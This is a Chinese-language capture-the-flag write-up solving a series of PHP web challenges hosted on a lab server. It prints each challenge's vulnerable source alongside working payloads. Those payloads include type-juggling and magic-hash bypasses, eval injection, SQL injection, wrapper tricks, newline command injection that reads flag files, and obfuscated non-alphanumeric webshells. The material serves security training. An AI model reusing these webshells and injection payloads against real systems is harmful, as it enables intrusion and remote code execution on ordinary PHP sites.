1.
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
bin2hex:把十六进制值转换为 ASCII 字符。
strrev:反转字符串。
hex2bin:把十六进制值转换为 ASCII 字符。
python脚本:
binascii:binascii 模块包含很多在二进制和二进制表示的各种ASCII码之间转换的方法。
binascii.b2a _ hex:返回的二进制数据的十六进制
strrev:反转字符串。
binascii.a2b _ hex :执行反向操作。
import base64
import binascii
def strrev(string):
return string[::-1]
a="1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
b=binascii.a2b_hex(strrev(binascii.b2a_hex(base64.b64decode(a))))
print (b)
c=strrev(binascii.b2a_hex(base64.b64decode(a)))
print c
2.
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
直接写入结果需要等非常漫长的时间,但是通过科学计数法,我们只需要7秒,因为sleep函数的存在。
payload:http://148.70.62.239:23002/challenge2.php?time=7.776e6
3.
看到提示:challenge3.txt
所以转到view-source:http://148.70.62.239:23003/challenge3.txt
以下为php代码:
<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
header('Location: challenge3.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
echo $flag;
}
else
{
print "work harder!harder!harder!";
}
?>
stripos() 函数:查找 "php" 在字符串中第一次出现的位置。
php弱比较:
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>
==:等值符,当等号两边为相同类型时,直接比较值是否相等;当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较,如果比较一个数字和字符串或者涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照常数值进行比较。
注意:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
strcmp漏洞绕过:
strcmp函数会比较两个字符串,如果str1>str2返回>0,相等就会返回=0.
但是当我们传入数组形式,例如test[]=aaaa那么此时函数类型不匹配,但php还会判断其相等,该漏洞应该在老的php版本里有效。
"arraysearch"与isarray"绕过:is_array:判断传入的是不是一个数组,arraysearch(x,$数组):在数组中寻找与指定值(x)相等的值,arraysearch函数 类似于"==",会进行类型的转换,所以有时候我们传入数组进行匹配,例如array[]=0,遇到字符串匹配那么此时就回成为admin==0,根据==的判断规则就会认为匹配了。
继续这道题:
第一部分id的取值:
这里有个if语句判断,此时可以看到有一个!号来进行取反,所以我们的id值应该为0或者是null,所以此时我们可以利用上面的弱比较,我们可以这么写:id=aaa123
第二部分a的取值:
看到if判断条件是不允许我们使用.的,下面filegetcontents能够读取我们传来的数据,但是我们无法进行文件操作,但是我们利用伪协议,php://input,使用post方式来传输数据,根据要求,post :1112 is a nice lab!
此时就是:file_get_contents('php://input','r')
第三部分b的取值:
这里就有点搞了,根据他的要求,让我们既要跟111拼成1114,又让我们的第一位不能为4,并且长度要大于五。
利用%00截断,对于%00截断函数,他能终止substr函数,但是对于strlen则不会。
4.
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
payload:/challenge4.php?hello=);eval(phpinfo()
此处我们利用了在php双引号会对包裹起来的字符串要进行扫描计算,所以拼接完成后会变成这样:eval("var_dump();eval(phpinfo());");
在双引号当中已经被小执行了一次,留下了我们的shell。
5.
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
在这里他既要求我们password不能相等,又要让我们在sha1下相等,看到两个等号以及sha1其实就已经可以知道是利用数组来进行绕过,
sha1 — 计算字符串的 sha1 散列值,在sha1()当中当有数组传入的时候,其返回值为NULL.
拓展:
md5加密相等绕过:
md5(s878926199a)=0e545993274517709034328855841020
md5(s155964671a)=0e342768416822451524974117254469
md5(s214587387a)=0e848240448830537924465865611904
md5(s1091221200a)=0e940624217856561557816327384675
md5(s1885207154a)=0e509367213418206700842008763514
md5(s1502113478a)=0e861580163291561247404381396064
当我们输入的md5是以0e开头的时候,我们可以使用以上值进行绕过,因为是关于科学计数法的。
6.
利用bool注入结合sqlmap得到一些基本的信息。
查看代码:
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("challenges") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
此处我们需要满足:
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";}
这段代码的意思就是,我们要查询的user他是有pwd的,并且pwd列的值与md5要匹配。
strcasecmp函数判断结果为:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
我们构造两个相等的即可。
payload:' union select "21232f297a57a5a743894a0e4a801fc3"#&pass=admin
8.
源代码:
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++)
{
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
?>
这段代码让我们传递变量c,但是要绕过黑名单,跟<?php组合在一起生成webshell,一定要执行才行,只是单纯传递一个绕过的不行。
构造无字母webshell:
<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // E
$_=++$_;$_=++$_;
$__=$_.$__; // GE
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);
关于无字母webshell的编写原理是利用到了异或,即二进制之间的异或转换。
A对应的二进制值是01000001 //由ascii转换而来
?对应的二进制值是00111111
异或的二进制的值是01111110 //对应为~
太骚了:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
合为一行:$__=("#"^"|").("."^"~").("/"^"
").("|"^"/").("{"^"/");`
上传好最上方的payload,?_=system&__=cat%20../flag.php
利用命令执行得到flag。
利用自增的shell:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
原理:'a'++ => 'b','b'++ => 'c'
9.
源代码:
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
%0a换行符绕过。 payload:http://148.70.62.239:23009/challenge9.php?ip=12\7.\00.0.\1%0Acat%20flag.php
10.
源代码:
<?php
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
}
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}
highlight_file(__FILE__);
?>
payload:answer=0xdeadc0de
转换为16进制。
11.
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
$GLOBALS['var']是外部全局变量的本身,而global $var则是外部$var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。
https://www.freebuf.com/column/230907.html
12.
直接闭合:?hello=);var_dump(file("flag.php"));//
源代码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
14.
php伪协议:?path=php://filter/convert.base64-encode/resource=flag.php
15.
源代码:
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('SYCwaf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
u1s1我刚开始被绕懵了,已经意识到了是写shell查看flag,而关键点就是在filegetcontent这里,并且path变量时我们可以控制的,不要相信用户的输入是很重要的,当我们传入一个path变量:<?php phpinfo();xxxxx
前者是会被解析的,显示页面为console.log(upload/<?php phpinfo(); update successed!)
而在页面中是没有的,此时我们再创建一个页面,将这个页面包含进去,那么php就会被解析。
payload:path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d<%3fphp%2bphpinfo()%3b%3f>%26file%3dhttp%3a%2f%2f127.0.0.1%2findex.php
fopen与file _ get_contents:
file _ get _ contents()打开网页后,返回的变量是一个字符串,可以直接输出的。
fopen()打开网页后,返回的变量不是字符串,不能直接输出的,还需要用到fgets()这个函数来获取字符串。fgets()函数是从文件指针中读取一行。文件指针必须是有效的,必须指向由 fopen() 或 fsockopen() 成功打开的文件
16.
源代码:
<?php
if (isset($_POST["submit"]))
{
if (isset($_POST['hihi']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
{
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
{
if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
{
if (!is_array($_POST['hihi'])) {
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("sorry")</script>');
}
}
}
show_source(__FILE__);
?>
根据代码可以判断,需要满足以下条件:
submit,hihi都存在, hint只能为字母或者字符串。
hihi长度要小于11位,但是值要大于9999999,并且包含#HONG#
,并且不能为数组,这事就产生了冲突因为#HONG#是有特殊字符的。。
在查找ereg的时候看到了ereg()是具有截断漏洞的,所以我们加上截断就能跳过判断了。
17.
<?php
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>
分析代码:
一阿航啊if判断语句我们都不能匹配,否则无法获得flag。
data传输协议:
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据
关于:QUERY_STRING:
http://localhost/aaa/?p=222
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
payload:?^.^=data://text/plain;charset=unicode,(●’◡’●)
说实话我没怎么理解。
payload:148.70.62.239:23017/challenge17.php?^.^=data://text/plain;charset=unicode,(●%27◡%27●)
我觉得可能是因为在传输过程中这些字符由于太过特殊而无法传递,所以我们先定下编码
18.
代码:
<?php
header("Content-type: text/html; charset=utf-8");
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名[原题已有注释]
{
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID错误2!");
}
else
{
die("ID错误1!");
}
}
else
die('账号密码错误!');
}
}
?>
好像之前有做过类似的,对于md5的绕过,我们利用弱比较,因为md5无法处理数组。关于72,我们使用科学计数法就可以了。
payload:`POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1
name[]=1&password[]=c&id=7.2e1&login=Check
当然加上一个点也可以:
POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1
name[]=1&password[]=c&id=72.000&login=Check
19.
源码:
<?php
error_reporting(0);
require_once('flag.php');
if(!isset($_GET['sss'])){
show_source('challenge19.php');
die();
}
$sss=$_GET['sss'];
if(strlen($sss)==666){
if(!preg_match("/[^0-6]/",$sss)){
eval('$sss='.$sss.';');
if($sss!=='0x666'){
if($sss=='0x666'){
echo $flag;
}
}
}
}
?>
根据判断条件我们将其转换为8进制即可,然后利用python打印出剩下的0即可。
20.
<?php
require_once('flag.php');
if(empty($_GET['user'])) die(show_source(__FILE__));
$user = ['admin', 'xxoo'];
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
}
?>
1
漏洞:var_dump([0 => 0] === [0x100000000 => 0]);
在php版本为5.6及以下时,var_dump([0 => 0] === [0x100000000 => 0]);
返回了true,那么根据条件我们想要满足的第一个条件就可以这样绕过了,第二个条件也满足了,因为此时就不存在数组第零项了,第一处也满足[0=>0]===xxxxx了。
21.
源代码:
<?php
require('flag.php');
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))#要有可见字符,长度要大于十二
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))#按正则匹配至少要分出六组
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1; #每匹配到一种c加一。
}
if ($c < 3) break; #要匹配最少三次
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
show_source(__FILE__);
POSIX | Description | ASCII | Unicode | Shorthand | Java |
---|---|---|---|---|---|
[:alnum:] | Alphanumeric characters | [a-zA-Z0-9] | [\p{L&}\p{Nd}] | \p{Alnum} | |
[:alpha:] | Alphabetic characters | [a-zA-Z] | \p{L&} | \p{Alpha} | |
[:ascii:] | ASCII characters | [\x00-\x7F] | \p{InBasicLatin} | \p{ASCII} | |
[:blank:] | Space and tab | [ \t] | [\p{Zs}\t] | \h | \p{Blank} |
[:cntrl:] | Control characters | [\x00-\x1F\x7F] | \p{Cc} | \p{Cntrl} | |
[:digit:] | Digits | [0-9] | \p{Nd} | \d | \p{Digit} |
[:graph:] | 可见字符(即空格,控制字符等除外) | [\x21-\x7E] | [^\p{Z}\p{C}] | \p{Graph} | |
[:lower:] | Lowercase letters | [a-z] | \p{Ll} | \p{Lower} | |
[:print:] | Visible characters and spaces (i.e. anything except control characters, etc.) | [\x20-\x7E] | \P{C} | \p{Print} | |
[:punct:] | 标点和符号 | [!”#$%&’()*+, -./:;<=>?@ [\]^_`{|}~] | [\p{P}\p{S}] | \p{Punct} | |
[:space:] | All whitespace characters, including line breaks | [ \t\r\n\v\f] | [\p{Z}\t\r\n\v\f] | \s | \p{Space} |
[:upper:] | Uppercase letters | [A-Z] | \p{Lu} | \p{Upper} | |
[:word:] | Word characters (letters, numbers and underscores) | [A-Za-z0-9_] | [\p{L}\p{N}\p{Pc}] | \w | |
[:xdigit:] | Hexadecimal digits | [A-Fa-f0-9] | [A-Fa-f0-9] | \p{XDigit} |
关于preg _ match与preg _ match _ all:
preg_match 只匹配一次,preg _ match _ all是全文匹配返回完整匹配次数,即所有跟表达式一致的都找出来。
http://148.70.62.239:23021/challenge21.php
payload:password=4200.0000e-2
发送如下数据。
22.
<?php
require('flag.php');
if (isset($_GET['src']))
highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
{
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "Wonderbubulous! Flag is ".$flag;
else
echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);
}
?>
要求我们满足:($md5==md5($md5))
这个条件我们要找到一个以0e开头的字符串,经过md5后他依然为0e开头,放入我们就可以利用弱比较进行绕过。 0e215962017
这个在这道题下就ok //0e215962017
0e291242476940776845150308577824
23.
<?php
highlight_file(__FILE__);
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
if(@file_get_contents($k1)==="Hello hacker!"){
echo 'welcome! Hacker!<br>';
if(md5($k2)>666666*666666)
{
include('flag.php');
@$k3=$_GET['key3'];
@$k4=$_GET['key4'];
if(intval($k3)<666)
{
if($k3==666)
{
echo 'Come on, flag is coming<br>';
if($k4>0)
{
if(intval($k3+$k4)<666)
echo $flag;
}
}
}else{
exit();
}
}else{
exit();
}
}else{
exit();
}
?>
关于key1:因为是file _ get _ content
利用data伪协议传递参数,http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==
关于key2:找一个全是数字的,或者是只包含有e和数字的,例如1518375。
关于key3:利用科学计数法,直接66.6e1即可,但是看周周的解法是使用精度绕过665.9999999999999999999,还可以使用十六进制绕过0x29a。
关于key4:我尝试使用00截断没用,也尝试使用././././././././././././././././././././././././././././././././././././././././././././././././
绕过但好像不行,看了思路是利用溢出,因为intval判断范围有限。
payload:http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==&key2=1518375&key3=66.6e1&key4=999999999999999999999999999999999999999999999999999999
24.
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
根据最后的代码进行判断,我们可以发现,我们要满足,v1,v2,v3都为1,就是要满足三种条件,依次分析:
v1满足的条件为:
当我们传入foo的时候,php会先将其转换为json格式,然后会将其在转换为数组,并且判断数组a的bar1部分其值是否为数字,然后判断是否大于2016。
解决方法:利用弱比较,即2017a即可。
v2满足条件:
因为这里是or属性,必须让他为假才行,所以这两个条件要么都是真,要么都是假:
根据推理可得,这段数组必须要有五对,同时他的第零项也要为数组,再看if判断条件可得:$a["a2"] = “nudt”
,并且$a["bar2"]
不包含nudt。
解决方法:$a["bar2"] = [[],2,3,4,5],$a["a2"] = “nudt”
v3满足条件:
获取cat,dog。满足if的两个条件都要为真,所以c[1]长度要小于d且他们不一致,c[0]d里面不能有关于3,1,c的任意一个字符串。
将c[0],d拼接在一起里面的字符串要有htctf2016.
解决方法:使用%00截断eregi函数,最后$c[0] = "ahtctf2016"
满足以上三段条件。
最终payload:?foo={“bar1”:”2017e”,”bar2”:[[],2,3,4,5],”a2”:[“nudt”]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00
25.
<?php
error_reporting(0);
require __DIR__."/flag.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
$params = explode("&", $url_query);
foreach($params as $param){
$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}
highlight_file(__FILE__);
payload:http://148.70.62.239:23025///?do_you_want_flag=yes
此处利用到了parse_url的解析漏洞:
详情:parseurl()会把//认为是相对路径(5.4.7以前),两个斜杠直接使得后面为host名而之后的/就会被认为是相对路径。
对于高版本的php的来说 直接/// 三个斜杠就可以直接解决方便 ,因为其导致 严重不合格的 URL,parseurl() 返回FALSE 这个是通用的绕过方法
https://blog.csdn.net/q1352483315/article/details/89672426
26.
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username); #有用户名会被重置
if ($value[$i] > 32 && $value[$i] < 127) unset($value); #不让我们输入32到127之间的数字以转换ASCII码
else $username .= chr($value[$i]); #使用chr函数生成用户名进行拼接
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) { #此处需要用户名
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
关于这段代码:它让我们传递三个参数,值,用户名和密码,分析以上代码,我们可以发现解决这道题的关键在于如何绕过。
注意:ord() 函数返回字符串的首个字符的 ASCII 值。
<?php
$i=0;
while ($i <= 100) {
$test = $i."e1";
if ($test > 32 && $test < 127)
{
}
else
{
if ((ord(chr($test))>32)&&(ord(chr($test))<127))
{
echo "test:".$test." chr:".chr($test)."\n";
}
}
$i = $i+0.1;
}
脚本生成,然后进行拼接绕过,原理我也不清楚,但是我算了一下当大于256时,他又开始进行了一次轮回,我们往上叠加此时256+65我们输入321,chr(321)转换完之后是A,跟chr(65)是一样的,依次下去我们再加256同样输出还是A,所以我们可以利用这个特性,配合科学计数法进行绕过。
27.
<?php
error_reporting(0);
session_start();
if(isset($_GET['username'], $_GET['password'])){
if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';
}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';
}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';
}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}
echo '<hr>';
}
highlight_file(__FILE__);
抓包截取跳转页面。
28.
<?php
error_reporting(0);
require __DIR__.'/flag.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}
echo '<hr>';
}
highlight_file(__FILE__);
正则表达式缺陷:payload:?say=%0agive_me_the_flag
,因为用于任意字符匹配并不包括换行符。
29.
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}
echo '<hr>';
highlight_file(__FILE__);
<?php
